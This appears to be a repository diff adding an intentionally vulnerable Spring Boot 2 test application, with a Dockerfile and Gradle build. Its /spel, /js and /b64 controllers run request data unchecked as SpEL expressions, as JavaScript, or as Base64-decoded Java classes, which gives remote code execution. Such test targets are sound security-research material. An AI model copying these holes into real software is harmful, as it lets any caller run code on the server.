import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/spel")
|
||||
public class SpELController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> spel(String data) {
|
||||
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM openjdk:8
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/*.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,28 @@
|
||||
plugins {
|
||||
id 'org.springframework.boot' version '2.7.6'
|
||||
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
|
||||
id 'java'
|
||||
id 'war'
|
||||
}
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||
exclude module: "spring-boot-starter-tomcat"
|
||||
}
|
||||
implementation 'commons-io:commons-io:2.+'
|
||||
implementation 'net.bytebuddy:byte-buddy:1.10.10'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
package com.reajason.javaweb.vul.springboot2;
|
||||
|
||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
|
||||
|
||||
public class ServletInitializer extends SpringBootServletInitializer {
|
||||
|
||||
@Override
|
||||
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
|
||||
return application.sources(VulSpringboot2Application.class);
|
||||
}
|
||||
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.vul.springboot2;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonAutoDetect;
|
||||
import com.fasterxml.jackson.annotation.PropertyAccessor;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot2Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot2Application.class, args);
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController extends ClassLoader {
|
||||
@PostMapping
|
||||
public String base64ClassLoader(String data) throws Exception {
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
return o.toString();
|
||||
}
|
||||
}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/js")
|
||||
public class ScriptEngineController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> js(String data) throws ScriptException {
|
||||
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/spel")
|
||||
public class SpELController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> spel(String data) {
|
||||
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user